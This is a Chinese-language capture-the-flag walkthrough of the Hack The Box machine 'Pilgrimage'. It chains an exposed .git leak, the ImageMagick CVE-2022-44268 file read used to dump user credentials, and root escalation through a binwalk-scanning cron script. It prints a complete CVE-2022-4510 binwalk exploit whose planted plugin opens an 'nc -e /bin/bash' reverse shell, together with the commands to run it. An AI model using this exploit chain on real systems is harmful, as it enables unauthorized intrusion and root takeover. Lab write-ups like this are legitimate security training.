Pilgrimage
1、使用nmap进行端口扫描
nmap -p- --min-rate 10000 10.10.11.217
2、扫描发现目标开放了22和80端口,对两个端口进行详细探测并分析发现80端口绑定的域名http://pilgrimage.htb/
3、将域名添加到hosts文件中后使用浏览器访问80端口
4、使用dirb进行目录扫描发现存在.git目录
5、再次用namp扫描发现80端口确实存在一个.git目录
6、使用浏览器访问.git目录发现返回403禁止访问状态
7、使用githacker尝试对.git目录下的文件进行下载并查看
8、查看分析发现除了网站正常的php文件之外有个magick文件执行后发现其是ImageMagick,版本为7.1.0-49,该工具是一个图片压缩工具
9、从GitHub上查找该工具是否有披露的漏洞找到CVE-2022-44268任意文件读取漏洞
https://github.com/voidz0r/CVE-2022-44268
10、将Poc下载到本地
11、Poc使用方式,根据大佬Wp知道当前是一个http服务,同时还有登陆注册的页面,那一定有个数据库存放登陆注册的用户信息。接下来就去登陆注册的register.php页面文件中查找,是否包含数据库文件的路径。
CVE-2022-44268漏洞会用到图马的操作,将图片和恶意程序/脚本粘合在一起,然后发送给服务端。
1、先运行项目,命令将要读取文件的路径植入到image.png中。
cargo run + 文件路径
2、把image.png通过ImageMagick服务压缩图片。
3、利用identify -verbose output.png解析压缩过后的图片,这时候之前给的路径对应的文件内容应该已经包含在图片中了。
4、最后解析HEX,还原文件内容。
ython3 -c 'print(bytes.fromhex("HEX值"))
找到数据库路径为:sqlite:/var/db/pilgrimage
12、运行Poc将路径植入到image.png图片中
cargo run "/var/db/pilgrimage"
13、将image.png上传网站首页的图片压缩服务,下载压缩后的图片
14、利用identify -verbose命令解析压缩过后的图片
15、将16进制内容保存为dump.sql文件。
16、然后使用xxd将一个经过十六进制编码的 SQL 转储文件 dump.sql
转换成 SQLite 的 .dump
文件 sqlite.dump
,并使用sqlite3
命令加载sqlite.dump
文件,执行一个查询操作 select * from users;
获得emily的用户名和密码。
17、使用emily账号进行连接ssh,获取到user的flag
18、在本地启动一个http服务,将pspy64下载到靶机中
19、给pspy附加执行权限并执行,查看进程发现运行着一个以root身份运行的malwarescan.sh文件
emily@pilgrimage:~$ chmod 777 pspy64
emily@pilgrimage:~$ ./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
20、前往路径/usr/sbin/查看malwarescan.sh文件内容
这是 malwarescan.sh 脚本的内容。该脚本使用 inotifywait 工具来监视 /var/www/pilgrimage.htb/shrunk/ 目录中的文件创建事件。一旦有新文件创建,脚本会执行以下操作:
提取文件名并构造完整的文件路径。
使用 binwalk 工具解析文件,并将输出保存到 binout 变量中。
遍历黑名单列表中的每个关键词。
如果 binout 中包含黑名单中的任何关键词,那么脚本会删除该文件。
这个脚本的目的是在 /var/www/pilgrimage.htb/shrunk/ 目录中检测和删除被认为是恶意的文件。它会根据 binwalk 工具的输出来判断文件是否包含特定的标识,如果是,则会将其删除。
21、查看当前靶机中是否有binwalk
22、当前binwalk版本为v2.3.2,在searchsploit搜索该版本的漏洞
23、当前版本存在一个CVE-2022-4510的RCE漏洞
# Exploit Title: Binwalk v2.3.2 - Remote Command Execution (RCE)
# Exploit Author: Etienne Lacoche
# CVE-ID: CVE-2022-4510
import os
import inspect
import argparse
print("")
print("################################################")
print("------------------CVE-2022-4510----------------")
print("################################################")
print("--------Binwalk Remote Command Execution--------")
print("------Binwalk 2.1.2b through 2.3.2 included-----")
print("------------------------------------------------")
print("################################################")
print("----------Exploit by: Etienne Lacoche-----------")
print("---------Contact Twitter: @electr0sm0g----------")
print("------------------Discovered by:----------------")
print("---------Q. Kaiser, ONEKEY Research Lab---------")
print("---------Exploit tested on debian 11------------")
print("################################################")
print("")
parser = argparse.ArgumentParser()
parser.add_argument("file", help="Path to input .png file",default=1)
parser.add_argument("ip", help="Ip to nc listener",default=1)
parser.add_argument("port", help="Port to nc listener",default=1)
args = parser.parse_args()
if args.file and args.ip and args.port:
header_pfs = bytes.fromhex("5046532f302e390000000000000001002e2e2f2e2e2f2e2e2f2e636f6e6669672f62696e77616c6b2f706c7567696e732f62696e77616c6b2e70790000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034120000a0000000c100002e")
lines = ['import binwalk.core.plugin\n','import os\n', 'import shutil\n','class MaliciousExtractor(binwalk.core.plugin.Plugin):\n',' def init(self):\n',' if not os.path.exists("/tmp/.binwalk"):\n',' os.system("nc ',str(args.ip)+' ',str(args.port)+' ','-e /bin/bash 2>/dev/null &")\n',' with open("/tmp/.binwalk", "w") as f:\n',' f.write("1")\n',' else:\n',' os.remove("/tmp/.binwalk")\n', ' os.remove(os.path.abspath(__file__))\n',' shutil.rmtree(os.path.join(os.path.dirname(os.path.abspath(__file__)), "__pycache__"))\n']
in_file = open(args.file, "rb")
data = in_file.read()
in_file.close()
with open("/tmp/plugin", "w") as f:
for line in lines:
f.write(line)
with open("/tmp/plugin", "rb") as f:
content = f.read()
os.system("rm /tmp/plugin")
with open("binwalk_exploit.png", "wb") as f:
f.write(data)
f.write(header_pfs)
f.write(content)
print("")
print("You can now rename and share binwalk_exploit and start your local netcat listener.")
print("")
24、执行Poc
python3 51249.py 1.png 10.10.14.9 1234
25、本地监听1234端口,在靶机中将binwalk_exploit.png下载到/var/www/pilgrimage.htb/shrunk/目录下后查看监听的端口获取到权限为root的shell,查看root目录下的root.txt获取到flag